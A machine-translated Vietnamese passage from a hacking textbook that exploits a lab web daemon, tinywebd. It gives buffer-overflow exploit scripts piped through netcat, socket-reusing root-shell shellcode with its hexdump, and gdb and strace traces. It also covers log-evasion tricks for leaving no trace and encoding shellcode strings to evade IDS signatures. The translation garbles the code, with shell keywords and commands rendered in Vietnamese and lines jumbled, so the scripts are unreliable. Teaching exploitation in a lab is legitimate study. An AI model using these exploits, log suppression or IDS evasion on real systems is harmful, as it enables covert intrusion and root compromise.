Vì client_addr_ptr được truyền dưới dạng đối số hàm thứ hai, nên nó sẽ nằm trên
ngăn xếp hai dword sau địa chỉ trả về. Tập lệnh khai thác sau đây sẽ chèn một cấu
trúc địa chỉ giả và ghi đè lên client_addr_ptr.
xtool_tinywebd_spoof.sh
#!/bin/sh #
Công cụ khai thác ẩn IP giả mạo cho tinywebd
GIẢ MẠO = "12.34.56.78"
CỔNG GIẢI TRÍ="9090"
nếu [ -z "$2" ]; thì # Nếu đối số 2 trống
echo "Sử dụng: $0 <tệp shellcode> <IP mục tiêu>"
ra
có
YÊU CẦU GIẢ MẠO="NHẬN / HTTP/1.1\x00"
FR_SIZE=$(perl -e "in \"$FAKEREQUEST\"" | wc -c | cắt -f1 -d ' ')
BÙ ĐẮP=540
RETADDR="\x24\xf6\xff\xbf" # Tại +100 byte từ bộ đệm @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # +15 byte từ bộ đệm @ 0xbffff5c0
echo "mục tiêu IP: $2"
KÍCH THƯỚC=`wc -c $1 | cắt
''`
-f1 -d echo "shellcode: $1 ($SIZE byte)"
echo "yêu cầu giả mạo: \"$FAKEREQUEST\" ($FR_SIZE byte)"
KÍCH THƯỚC ĐÈN LED CĂN CHỈNH=$(($OFFSET+4 - (32*4) - $KÍCH THƯỚC - $FR_SIZE - 16))
echo "[Yêu cầu giả $FR_SIZE] [IP giả mạo 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr
128] [*fake_addr 8]"
Biện pháp đối phó 349
Machine Translated by Google
(perl -e "in \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "in \"\x90\"x$ALIGNED_SLED_SIZE";
mèo $1;
perl -e "in \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80
Cách tốt nhất để giải thích chính xác những gì tập lệnh khai thác này thực
hiện là theo dõi tinywebd từ bên trong GDB. Trong đầu ra bên dưới, GDB được sử
dụng để đính kèm vào quy trình tinywebd đang chạy, các điểm dừng được đặt trước
khi tràn và phần IP của bộ đệm nhật ký được tạo.
reader@hacking:~/booksrc $ ps aux | grep tinywebd
gốc 27264 0.0 0.0 1636 420 ?
Ss 20:47 0:00 ./tinywebd
người đọc 30648 0.0 0.0 2880 748 điểm/2 người
R+ 22:29 0:00 grep tinywebd
đọc@hacking:~/booksrc $ gcc -g tinywebd.c người
đọc@hacking:~/booksrc $ sudo gdb -q—pid=27264 --symbols=./a.out
cảnh báo: không sử dụng tệp không đáng tin cậy "/home/reader/.gdbinit"
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
Đính kèm vào tiến trình 27264
/cow/home/reader/booksrc/tinywebd: Không có tệp hoặc thư mục nào như vậy.
Một chương trình đang được gỡ lỗi. Giết nó? (y hoặc n) n
Chương trình không bị tắt.
(gdb) danh sách handle_connection /* Hàm
này xử lý kết nối trên socket đã truyền từ 77 * địa chỉ máy khách đã truyền và ghi vào FD đã truyền. Kết
nối được 78 * xử lý như một yêu cầu web và hàm này trả lời qua kết nối
79
80
* socket. Cuối cùng, socket đã truyền sẽ được đóng lại khi hàm kết thúc. */
81
82
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
83
unsigned char *ptr, yêu cầu[500], tài nguyên[500], bộ đệm nhật ký[500]; int
84
fd, độ dài;
85
86
chiều dài = recv_line(sockfd, yêu cầu);
(gdb)
87
88
sprintf(log_buffer, "Từ %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr-
>sin_port), yêu cầu); 89
90
ptr = strstr(request, " HTTP/"); // Tìm kiếm yêu cầu hợp lệ. if(ptr == NULL) { //
91
Vậy thì đây không phải là HTTP hợp lệ strcat(log_buffer,
92
"
93
\n"); }
KHÔNG PHẢI HTTP!
94
else { *ptr = 0; // Kết thúc bộ đệm ở cuối URL. ptr = NULL; // Đặt
95
ptr thành NULL (được sử dụng để đánh dấu yêu cầu không hợp lệ). if(strncmp(request,
96
"GET ", 4) == 0) // Nhận yêu cầu (gdb) break 86
Điểm dừng 1 tại 0x8048fc3: tệp tinywebd.c, dòng 86.
(gdb) phá vỡ 89
Điểm dừng 2 tại 0x8049028: tệp tinywebd.c, dòng 89.
(gdb) tiếp theo
Tiếp tục.
350 0x600
Machine Translated by Google
Sau đó, từ một thiết bị đầu cuối khác, khai thác giả mạo mới được sử dụng để tiến triển
thực hiện trong trình gỡ lỗi.
người đọc@hacking:~/booksrc $ ./xtool_tinywebd_spoof.sh mark_restore 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: mark_restore (53 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả mạo 15] [IP giả mạo 16] [NOP 332] [shellcode 53] [ret addr 128]
[*fake_addr 8]
localhost [127.0.0.1] 80 (www) mở
người đọc@hacking:~/booksrc $
Quay trở lại thiết bị đầu cuối gỡ lỗi, điểm dừng đầu tiên được chạm tới.
Điểm dừng 1, handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) tại tinywebd.c:86
chiều dài = recv_line(sockfd, yêu cầu); 86
(gdb) bt
#0 handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) tại tinywebd.c:86
#1 0x08048fb7 trong main () tại tinywebd.c:72
(gdb) in client_addr_ptr $1 =
(struct sockaddr_in *) 0xbffff810
(gdb) in *client_addr_ptr $2 =
{sin_family = 2, sin_port = 15284, sin_addr = {s_addr = 16777343}, sin_zero =
"\000\000\000\000\000\000\000"}
(gdb) x/x &client_addr_ptr
0xbffff7e4: 0xbffff810
(gdb) yêu cầu x/24x + 500
0xbffff7b4: 0xbffff624 0xbffff7c4:
0xbffff624
0xbffff624
0xbffff624
0xbffff624 0xbffff7d4: 0xbffff7e4:
0xbffff624
0x0804b030
0xbffff624
0xbffff7f4:
0x00000009
0xbffff848
0x08048fb7
0x00000009
0xbffff804:
0xbffff810
0x00000003
0xbffff838
0x00000004
(gdb) tiếp
0x00000000
0x00000000
0x08048a30
0x00000000
theo
0x0804a8c0
0xbffff818
0x00000010
0x3bb40002
Tiếp tục.
Điểm dừng 2, handle_connection (sockfd=-1073744433, client_addr_ptr=0xbffff5cf, logfd=2560)
tại tinywebd.c:90
ptr = strstr(request, " HTTP/"); // Tìm kiếm yêu cầu có vẻ hợp lệ. 90
(gdb) yêu cầu x/24x + 500
0xbffff7b4: 0xbffff624 0xbffff7c4:
0xbffff624
0xbffff624
0xbffff624
0xbffff624 0xbffff7d4: 0xbffff624
0xbffff624
0xbffff624
0xbffff624
0xbffff7e4: 0xbffff5cf 0xbffff7f4:
0xbffff624
0xbffff624
0xbffff5cf
0x00000000 0xbffff804: 0x0804a8c0
0x00000a00
0xbffff838
0x00000004
(gdb) in client_addr_ptr $3 =
0x00000000
0x08048a30
0x00000000
(struct sockaddr_in *) 0xbffff5cf
0xbffff818
0x00000010
0x3bb40002
(gdb) in client_addr_ptr $4 =
(struct sockaddr_in *) 0xbffff5cf
(gdb) in *client_addr_ptr $5 =
{sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580},
Biện pháp đối phó 351
Machine Translated by Google
sin_zero = "\000\000\000\000_
(gdb) bộ đệm nhật ký x/
s 0xbffff1c0:
"Từ 12.34.56.78:9090 \"GET / HTTP/1.1\"\t"
(gdb)
Tại điểm dừng đầu tiên, client_addr_ptr được hiển thị là ở 0xbffff7e4 và trỏ đến 0xbffff810.
Điểm dừng này được tìm thấy trong bộ nhớ trên ngăn xếp hai dword sau địa chỉ trả về. Điểm dừng thứ
hai là sau khi ghi đè, do đó client_addr_ptr tại 0xbffff7e4 được hiển thị là bị ghi đè bằng địa
chỉ của cấu trúc sockaddr_in được tiêm tại 0xbffff5cf. Từ đây, chúng ta có thể xem qua
log_buffer trước khi nó được ghi ra nhật ký để xác minh việc tiêm địa chỉ đã hoạt động.
0x662 Khai thác không cần nhật ký
Lý tưởng nhất là chúng ta không muốn để lại bất kỳ dấu vết nào. Trong quá trình thiết lập trên
LiveCD, về mặt kỹ thuật, bạn có thể xóa các tệp nhật ký sau khi có được root shell. Tuy nhiên, hãy
giả sử chương trình này là một phần của cơ sở hạ tầng an toàn, trong đó các tệp nhật ký được phản
chiếu đến một máy chủ ghi nhật ký an toàn có quyền truy cập tối thiểu hoặc thậm chí có thể là
máy in dòng. Trong những trường hợp này, việc xóa các tệp nhật ký sau khi thực tế không phải là một tùy chọn.
Hàm timestamp() trong daemon tinyweb cố gắng bảo mật bằng cách ghi trực tiếp vào một mô tả tệp đang
mở. Chúng ta không thể dừng hàm này được gọi và chúng ta không thể hoàn tác việc ghi mà nó thực
hiện vào tệp nhật ký. Đây sẽ là một biện pháp đối phó khá hiệu quả; tuy nhiên, nó đã được triển
khai kém. Trên thực tế, trong lần khai thác trước, chúng tôi đã tình cờ gặp phải vấn đề này.
Mặc dù logfd là một biến toàn cục, nó cũng được truyền cho handle_connection()
như một đối số hàm. Từ cuộc thảo luận về ngữ cảnh hàm, bạn nên nhớ rằng điều này tạo ra
một biến ngăn xếp khác có cùng tên, logfd.
Vì đối số này được tìm thấy ngay sau client_addr_ptr trên ngăn xếp nên nó bị ghi đè một phần bởi
ký tự kết thúc null và byte 0x0a bổ sung được tìm thấy ở cuối bộ đệm khai thác.
(gdb) x/xw &client_addr_ptr
0xbffff7e4: 0xbffff5cf
(gdb) x/xw &logfd
0x00000a00
0xbffff7e8:
(gdb) x/4xb &logfd
0xbffff7e8: 0x00 0x0a (gdb) x/8xb
0x00 0x00
&client_addr_ptr 0xbffff7e4: 0xcf 0xf5
0xff 0xbf 0x00 0x0a
(gdb) p logfd
0x00
0x00
6 = 2560
(gdb) thoát
Chương trình đang chạy. Hãy thoát (và tách nó ra)? (y hoặc n) y
Tách khỏi chương trình: , tiến trình 27264
người đọc@hacking:~/booksrc $ sudo giết 27264
người đọc@hacking:~/booksrc $
Miễn là mô tả tệp nhật ký không phải là 2560 (0x0a00 trong hệ thập lục phân), mỗi lần
handle_connection() cố gắng ghi vào nhật ký thì nó sẽ thất bại. Hiệu ứng này có thể được khám
phá nhanh chóng bằng cách sử dụng strace. Trong đầu ra bên dưới,
352 0x600
Machine Translated by Google
strace được sử dụng với tham số dòng lệnh -p để đính kèm vào một tiến trình
đang chạy. Tham số -e trace=write yêu cầu strace chỉ xem các lệnh gọi write.
Một lần nữa, công cụ khai thác giả mạo được sử dụng trong một thiết bị đầu cuối khác để kết nối và
tiến hành thực thi.
người đọc@hacking:~/booksrc $ ./tinywebd
Bắt đầu một daemon web nhỏ.
reader@hacking:~/booksrc $ ps aux | grep tinywebd
gốc 478 0.0 0.0 1636 420 ? người đọc 525 0.0 0.0 2880 748 điểm/
Ss 23:24 0:00 ./tinywebd
1
R+ 23:24 0:00 grep tinywebd
reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write
Tiến trình 478 được đính kèm - ngắt để thoát
write(2560, "19/09/2007 23:29:30> ", 21) = -1 EBADF (Mô tả tệp không hợp lệ)
write(2560, "Từ 12.34.56.78:9090 \"GET / HTT".., 47) = -1 EBADF (Mô tả tệp không hợp lệ)
Tiến trình 478 tách ra
người đọc@hacking:~/booksrc $
Đầu ra này cho thấy rõ ràng các nỗ lực ghi vào tệp nhật ký đều thất bại.
Thông thường, chúng ta không thể ghi đè biến logfd , vì client_addr_ptr đang
cản trở. Việc làm hỏng con trỏ này một cách bất cẩn thường sẽ dẫn đến sự cố.
Nhưng vì chúng ta đã đảm bảo biến này trỏ đến bộ nhớ hợp lệ (cấu trúc địa chỉ giả
mạo được tiêm của chúng ta), nên chúng ta có thể tự do ghi đè các biến nằm
ngoài nó. Vì daemon tinyweb chuyển hướng chuẩn ra /dev/null, tập lệnh khai thác
tiếp theo sẽ ghi đè biến logfd đã truyền bằng 1, để có đầu ra chuẩn. Điều này
vẫn sẽ ngăn các mục nhập được ghi vào tệp nhật ký nhưng theo cách tốt hơn nhiều—
không có lỗi.
xtool_tinywebd_silent.sh
#!/bin/sh #
Công cụ khai thác ẩn danh thầm lặng cho tinywebd
#
cũng giả mạo địa chỉ IP được lưu trữ trong bộ nhớ
SPOOFIP = "12.34.56.78"
CỔNG GIẢI TRÍ="9090"
nếu [ -z "$2" ]; thì # Nếu đối số 2 trống
echo "Sử dụng: $0 <tệp shellcode> <IP mục tiêu>"
ra
có
YÊU CẦU GIẢ MẠO="NHẬN / HTTP/1.1\x00"
FR_SIZE=$(perl -e "in \"$FAKEREQUEST\"" | wc -c | cắt -f1 -d ' ')
BÙ ĐẮP=540
RETADDR="\x24\xf6\xff\xbf" # Tại +100 byte từ bộ đệm @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # +15 byte từ bộ đệm @ 0xbffff5c0
echo "mục tiêu IP: $2"
KÍCH THƯỚC=`wc -c $1 | cắt -f1
''`
-d echo "shellcode: $1 ($SIZE byte)"
echo "yêu cầu giả mạo: \"$FAKEREQUEST\" ($FR_SIZE byte)"
KÍCH THƯỚC ĐÈN LED CĂN CHỈNH=$(($OFFSET+4 - (32*4) - $KÍCH THƯỚC - $FR_SIZE - 16))
echo "[Yêu cầu giả $FR_SIZE] [IP giả mạo 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr 128]
[*fake_addr 8]"
Biện pháp đối phó 353
Machine Translated by Google
(perl -e "in \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "in \"\x90\"x$ALIGNED_SLED_SIZE";
mèo $1;
perl -e "in \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80
Khi sử dụng tập lệnh này, quá trình khai thác sẽ hoàn toàn im lặng và không có bất kỳ thông tin nào được
ghi vào tệp nhật ký.
reader@hacking:~/booksrc $ sudo rm /Đã hack
reader@hacking:~/booksrc $ ./tinywebd
Bắt đầu tiến trình web nhỏ..
reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log
-rw------- 1 gốc reader 6526 2007-09-19 23:24 /var/log/tinywebd.log
người đọc@hacking:~/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: mark_restore (53 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả mạo 15] [IP giả mạo 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) mở
reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log
-rw------- 1 gốc reader 6526 2007-09-19 23:24 /var/log/tinywebd.log
reader@hacking:~/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-19 23:35 /Hacked
người đọc@hacking:~/booksrc $
Lưu ý kích thước tệp nhật ký và thời gian truy cập vẫn giữ nguyên. Sử dụng kỹ thuật này, chúng ta có
thể khai thác tinywebd mà không để lại bất kỳ dấu vết nào trong tệp nhật ký. Ngoài ra, các lệnh gọi ghi
thực thi sạch sẽ, vì mọi thứ được ghi vào /dev/null. Điều này được thể hiện bằng strace trong đầu ra bên
dưới, khi công cụ khai thác im lặng được chạy trong một thiết bị đầu cuối khác.
reader@hacking:~/booksrc $ ps aux | grep tinywebd
gốc 478 0.0 0.0 1636 420 ? người đọc 1005 0.0 0.0 2880 748
Ss 23:24 0:00 ./tinywebd
điểm/1
R+ 23:36 0:00 grep tinywebd
reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write
Tiến trình 478 được đính kèm - ngắt để thoát
viết(1, "19/09/2007 23:36:31> ", 21) = 21
write(1, "Từ 12.34.56.78:9090 \"GET / HTT".., 47) = 47
Tiến trình 478 tách ra
người đọc@hacking:~/booksrc $
0x670 Toàn bộ cơ sở hạ tầng
Như thường lệ, các chi tiết có thể ẩn trong bức tranh lớn hơn. Một máy chủ duy nhất thường tồn tại
trong một số loại cơ sở hạ tầng. Các biện pháp đối phó như hệ thống phát hiện xâm nhập (IDS) và hệ thống
ngăn chặn xâm nhập (IPS) có thể phát hiện lưu lượng mạng bất thường. Ngay cả các tệp nhật ký đơn giản
trên bộ định tuyến và tường lửa cũng có thể tiết lộ các kết nối bất thường cho thấy có sự xâm nhập. Cụ
thể, kết nối đến cổng 31337 được sử dụng trong shellcode kết nối lại của chúng tôi là
354 0x600
Machine Translated by Google
cờ đỏ lớn. Chúng ta có thể thay đổi cổng thành thứ gì đó trông ít đáng ngờ hơn; tuy nhiên, chỉ cần một
máy chủ web mở các kết nối ra cũng có thể là một cờ đỏ. Một cơ sở hạ tầng có tính bảo mật cao thậm chí
có thể thiết lập tường lửa với các bộ lọc thoát để ngăn chặn các kết nối ra. Trong những tình huống
này, việc mở một kết nối mới là không thể hoặc sẽ bị phát hiện.
0x671 Tái sử dụng ổ cắm
Trong trường hợp của chúng tôi, thực sự không cần phải mở một kết nối mới, vì chúng tôi đã có một socket
mở từ yêu cầu web. Vì chúng tôi đang loay hoay bên trong daemon tinyweb, với một chút gỡ lỗi, chúng tôi
có thể sử dụng lại socket hiện có cho root shell. Điều này ngăn không cho các kết nối TCP bổ sung được
ghi lại và cho phép khai thác trong trường hợp máy chủ đích không thể mở các kết nối gửi đi. Hãy xem
mã nguồn từ tinywebd.c được hiển thị bên dưới.
Trích từ tinywebd.c
while(1) { // Chấp nhận vòng
lặp sin_size = sizeof(struct sockaddr_in);
new_sockfd = chấp nhận(sockfd, (struct sockaddr *)&client_addr, &sin_size);
nếu(new_sockfd == -1)
fatal("đang chấp nhận kết nối");
xử lý_kết_nối(sockfd_mới, &client_addr, logfd);
}
trả về 0;
}
/* Hàm này xử lý kết nối trên socket đã truyền từ * địa chỉ máy khách đã
truyền và ghi vào FD đã truyền. Kết nối được * xử lý như một yêu cầu web
và hàm này trả lời qua kết nối
* socket. Cuối cùng, socket đã truyền sẽ được đóng lại khi hàm kết thúc. */
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, yêu cầu[500], tài nguyên[500], bộ đệm nhật ký[500];
int fd, độ dài;
chiều dài = recv_line(sockfd, yêu cầu);
Thật không may, sockfd được truyền đến handle_connection() chắc chắn sẽ bị ghi đè nên chúng ta
có thể ghi đè logfd. Việc ghi đè này xảy ra trước khi chúng ta kiểm soát được chương trình trong
shellcode, do đó không có cách nào để khôi phục giá trị trước đó của sockfd. May mắn thay, main() giữ
một bản sao khác của mô tả tệp của socket trong new_sockfd.
reader@hacking:~/booksrc $ ps aux | grep tinywebd
gốc 478 0.0 0.0 1636 420 ? người đọc 1284 0.0 0.0 2880 748
Ss 23:24 0:00 ./tinywebd
điểm/1 người đọc@hacking:~/booksrc $ gcc -g tinywebd.c
R+ 23:42 0:00 grep tinywebd
người đọc@hacking:~/booksrc $ sudo gdb -q—pid=478 --symbols=./a.out
Biện pháp đối phó 355
Machine Translated by Google
cảnh báo: không sử dụng tệp không đáng tin cậy "/home/reader/.gdbinit"
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
Đính kèm vào tiến trình 478
/cow/home/reader/booksrc/tinywebd: Không có tệp hoặc thư mục nào như vậy.
Một chương trình đang được gỡ lỗi. Giết nó? (y hoặc n) n
Chương trình không bị tắt.
(gdb) danh sách handle_connection /
77
* Hàm này xử lý kết nối trên socket đã truyền từ * địa chỉ máy khách đã truyền và
78
ghi vào FD đã truyền. Kết nối được * xử lý như một yêu cầu web và hàm này trả lời
79
qua kết nối
80
* socket. Cuối cùng, socket đã truyền sẽ được đóng lại khi hàm kết thúc. */
81
82
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
83
unsigned char *ptr, yêu cầu[500], tài nguyên[500], bộ đệm nhật ký[500]; int
84
fd, độ dài;
85
86
chiều dài = recv_line(sockfd, yêu cầu);
(gdb) ngắt 86
Điểm dừng 1 tại 0x8048fc3: tệp tinywebd.c, dòng 86.
(gdb) tiếp theo
Tiếp tục.
Sau khi điểm dừng được thiết lập và chương trình tiếp tục, khai thác im lặng
công cụ được sử dụng từ một thiết bị đầu cuối khác để kết nối và tiến hành thực hiện.
Điểm dừng 1, handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) tại tinywebd.c:86
86
chiều dài = recv_line(sockfd, yêu cầu);
(gdb) x/x &sockfd
0xbffff7e0:
0x0000000d
(gdb) x/x &new_sockfd
Không có biểu tượng "new_sockfd" trong ngữ cảnh hiện tại.
(gdb) bt
#0 handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) tại tinywebd.c:86
#1 0x08048fb7 trong main () tại tinywebd.c:72
(gdb) chọn khung 1
(gdb) x/x &new_sockfd
0xbffff83c: 0x0000000d
(gdb) thoát
Chương trình đang chạy. Hãy thoát (và tách nó ra)? (y hoặc n) y
Tách khỏi chương trình: , tiến trình 478
người đọc@hacking:~/booksrc $
Đầu ra gỡ lỗi này cho thấy new_sockfd được lưu trữ tại 0xbffff83c trong khung ngăn xếp của main.
Sử dụng điều này, chúng ta có thể tạo shellcode sử dụng mô tả tệp socket được lưu trữ tại đây thay vì
tạo kết nối mới.
Trong khi chúng ta có thể chỉ sử dụng địa chỉ này trực tiếp, có nhiều thứ nhỏ có thể dịch chuyển
bộ nhớ ngăn xếp xung quanh. Nếu điều này xảy ra và shellcode đang sử dụng địa chỉ ngăn xếp được mã hóa
cứng, thì khai thác sẽ thất bại. Để làm cho shellcode đáng tin cậy hơn, hãy lấy một gợi ý từ cách trình
biên dịch xử lý các biến ngăn xếp. Nếu chúng ta sử dụng một địa chỉ tương đối với ESP, thì ngay cả khi
ngăn xếp dịch chuyển xung quanh một chút, địa chỉ
356 0x600
Machine Translated by Google
của new_sockfd vẫn sẽ chính xác vì độ lệch từ ESP sẽ giống nhau.
Như bạn có thể nhớ khi gỡ lỗi với shellcode mark_break , ESP là 0xbffff7e0.
Sử dụng giá trị này cho ESP, độ lệch được hiển thị là 0x5c byte.
reader@hacking:~/booksrc $ gdb -q (gdb) in /
x 0xbffff83c - 0xbffff7e0 $1 = 0x5c (gdb)
Mã lệnh shell sau đây sử dụng lại socket hiện có cho shell gốc.
socket_tái_sử_dụng_phục_phục.s
BIT 32
đẩy BYTE 0x02 pop
; Fork là syscall #2
eax int
0x80
; Sau khi phân nhánh, trong tiến trình con eax == 0.
kiểm tra eax,
eax jz child_process ; Trong tiến trình con, một shell sẽ được sinh ra.
; Trong tiến trình cha, khôi phục tinywebd. lea ebp, [esp+0x68] ;
Khôi phục EBP. push 0x08048fb7 ; Trả về địa chỉ.
ret ; Trả về.
child_process: ;
Sử dụng lại socket hiện có. lea
edx, [esp+0x5c] ; Đặt địa chỉ của new_sockfd vào edx. mov ebx, [edx]
; Đặt giá trị của new_sockfd vào ebx. push BYTE 0x02
pop ecx xor eax, eax
xor edx,
; ecx bắt đầu từ 2.
edx dup_loop: mov
BYTE al, 0x3F ;
dup2 syscall
#63 int 0x80 ; dup2(c, 0) dec ecx ; Đếm ngược đến 0.
jns vòng lặp dup
; Nếu cờ dấu không được thiết lập, ecx không phải là số âm.
; execve(const char *tên tệp, char *const argv [], char *const envp [])
mov BYTE al, 11; execve syscall #11 push edx; đẩy một số
giá trị null để kết thúc chuỗi. push 0x68732f2f; đẩy "//sh" vào ngăn xếp. push
0x6e69622f; đẩy "/bin" vào ngăn xếp. mov ebx, esp push edx mov edx,
esp push ebx mov ecx, esp int 0x80
; Đưa địa chỉ của "/bin//sh" vào ebx, thông qua esp. ; đẩy ký tự
kết thúc null 32 bit vào ngăn xếp.
; Đây là một mảng rỗng cho envp. ; đẩy địa
chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
; Đây là mảng argv với chuỗi ptr. ; execve("/bin//
sh", ["/bin//sh", NULL], [NULL])
Biện pháp đối phó 357
Machine Translated by Google
Để sử dụng hiệu quả shellcode này, chúng ta cần một công cụ khai thác khác
cho phép chúng ta gửi bộ đệm khai thác nhưng vẫn giữ ổ cắm ở ngoài để thực hiện I/O tiếp theo.
Tập lệnh khai thác thứ hai này thêm lệnh cat - vào cuối bộ đệm khai thác. Đối số
dash có nghĩa là đầu vào chuẩn. Chạy cat trên đầu vào chuẩn tự nó có phần vô dụng,
nhưng khi lệnh được đưa vào netcat, điều này thực sự liên kết đầu vào và đầu ra
chuẩn với ổ cắm mạng của netcat. Tập lệnh bên dưới kết nối với mục tiêu, gửi bộ
đệm khai thác, sau đó giữ ổ cắm mở và nhận thêm đầu vào từ thiết bị đầu cuối.
Điều này được thực hiện chỉ với một vài sửa đổi (được hiển thị bằng chữ in đậm)
đối với công cụ khai thác im lặng.
xtool_tinywebd_reuse.sh
#!/thùng/sh
# Công cụ khai thác ẩn danh thầm lặng cho tinywebd
#
cũng giả mạo địa chỉ IP được lưu trữ trong bộ nhớ
#
tái sử dụng socket hiện có—sử dụng shellcode socket_reuse
GIẢ MẠO = "12.34.56.78"
CỔNG GIẢI TRÍ="9090"
nếu [ -z "$2" ]; thì # nếu đối số 2 là trống
echo "Sử dụng: $0 <tệp shellcode> <IP mục tiêu>"
ra
có
YÊU CẦU GIẢ MẠO="NHẬN / HTTP/1.1\x00"
FR_SIZE=$(perl -e "in \"$FAKEREQUEST\"" | wc -c | cắt -f1 -d ' ')
BÙ ĐẮP=540
RETADDR="\x24\xf6\xff\xbf" # tại +100 byte từ bộ đệm @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # +15 byte từ bộ đệm @ 0xbffff5c0
echo "mục tiêu IP: $2"
KÍCH THƯỚC=`wc -c $1 | cắt -f1
''`
-d echo "shellcode: $1 ($SIZE byte)"
echo "yêu cầu giả mạo: \"$FAKEREQUEST\" ($FR_SIZE byte)"
KÍCH THƯỚC ĐÈN LED CĂN CHỈNH=$(($OFFSET+4 - (32*4) - $KÍCH THƯỚC - $FR_SIZE - 16))
echo "[Yêu cầu giả $FR_SIZE] [IP giả mạo 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr 128]
[*fake_addr 8]"
(perl -e "in \"$FAKEREQUEST\"";
./addr_struct "$SPOOFIP" "$SPOOFPORT";
perl -e "in \"\x90\"x$ALIGNED_SLED_SIZE";
mèo $1;
perl -e "in \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"";
mèo -;) | nc -v $2 80
Khi công cụ này được sử dụng với shellcode socket_reuse_restore, gốc
shell sẽ được phục vụ bằng cùng một socket được sử dụng cho yêu cầu web. Đầu ra
sau đây minh họa điều này.
reader@hacking:~/booksrc $ nasm socket_reuse_restore.s
reader@hacking:~/booksrc $ hexdump -C socket_reuse_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |jX.tl$hh.|
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 |..T$\.j.Y1.1.|
358 0x600
Machine Translated by Google
00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh|
00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80
|/bin.RS.|
0000003e
người đọc@hacking:~/booksrc $ ./tinywebd
Bắt đầu một daemon web nhỏ.
người đọc@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: socket_reuse_restore (62 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả mạo 15] [IP giả mạo 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) mở
ai đó
gốc rễ
Bằng cách sử dụng lại socket hiện có, khai thác này thậm chí còn yên tĩnh hơn vì
nó không tạo ra bất kỳ kết nối bổ sung nào. Ít kết nối hơn có nghĩa là ít bất thường
hơn để bất kỳ biện pháp đối phó nào phát hiện.
0x680 Buôn lậu hàng hóa
Các hệ thống IDS hoặc IPS mạng đã đề cập ở trên có thể làm nhiều hơn là chỉ theo dõi
các kết nối—chúng cũng có thể kiểm tra chính các gói tin. Thông thường, các hệ thống
này đang tìm kiếm các mẫu có thể biểu thị một cuộc tấn công. Ví dụ, một quy tắc đơn
giản tìm kiếm các gói tin chứa chuỗi /bin/sh sẽ bắt được rất nhiều gói tin chứa
shellcode. Chuỗi /bin/sh của chúng ta đã được làm tối nghĩa một chút vì nó được
đẩy vào ngăn xếp theo từng khối bốn byte, nhưng một IDS mạng cũng có thể tìm kiếm
các gói tin chứa chuỗi /bin và //sh.
Các loại chữ ký IDS mạng này có thể khá hiệu quả trong việc bắt những kẻ tấn
công sử dụng các khai thác mà chúng tải xuống từ Internet. Tuy nhiên, chúng dễ dàng
bị bỏ qua bằng shellcode tùy chỉnh ẩn bất kỳ chuỗi nào để lộ.
Mã hóa chuỗi 0x681
Để ẩn chuỗi, chúng ta chỉ cần thêm 5 vào mỗi byte trong chuỗi. Sau đó, sau khi
chuỗi đã được đẩy vào ngăn xếp, shellcode sẽ trừ 5 khỏi mỗi byte chuỗi trên ngăn
xếp. Điều này sẽ xây dựng chuỗi mong muốn trên ngăn xếp để có thể sử dụng trong
shellcode, đồng thời giữ cho chuỗi ẩn trong quá trình truyền. Đầu ra bên dưới hiển
thị phép tính các byte được mã hóa.
reader@hacking:~/booksrc $ echo "/bin/sh" | hexdump -C 00000000 2f
62 69 6e 2f 73 68 0a 00000008
|/thùng/bịch.|
reader@hacking:~/booksrc $ gdb -q (gdb)
in /x 0x0068732f + 0x05050505 $1 = 0x56d7834
(gdb) in /x
